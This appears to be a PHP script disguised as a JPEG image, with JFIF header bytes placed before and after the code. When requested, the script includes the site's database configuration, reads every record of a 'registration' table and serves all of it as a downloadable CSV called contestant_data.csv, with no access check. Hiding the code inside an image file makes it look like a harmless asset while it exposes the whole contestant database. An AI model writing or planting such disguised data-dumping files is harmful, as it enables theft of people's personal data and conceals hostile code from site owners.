ÿØÿà JFIFÿØÿà JFIF ÿØÿà JFIFÿØÿà JFIF ÿþ$
<?php
// $datetoday=date("d/m");
?>
<?php
// Database Connection
include 'config.php';
// Fetch Record from Database
$output = "";
$table = "registration"; // Enter Your Table Name
$sqle = "SELECT * from $table";
$sql = mysqli_query($conn,$sqle);
$columns_total = mysqli_num_fields($sql);
// Get The Field Name
for($i = 0; $i < $columns_total; $i++)
{
// $heading = mysql_field_name($sql, $i);
$heading = mysqli_fetch_field_direct($sql, $i)->name;
$output .= '"' . $heading . '",';
}
$output .="\n";
// Get Records from the table
while($row = mysqli_fetch_array($sql))
{
for($i = 0; $i < $columns_total; $i++)
{
$output .='"' . $row["$i"] . '",';
}
$output .="\n";
}
// Download the file
$filename = "contestant_data.csv";
header('Content-type: application/csv');
header('Content-Disposition: attachment; filename=' . $filename);
echo $output;
exit;
?>
ÿØÿà JFIF ÿþ$
ÿØÿà JFIF ÿþ$
ÿÂ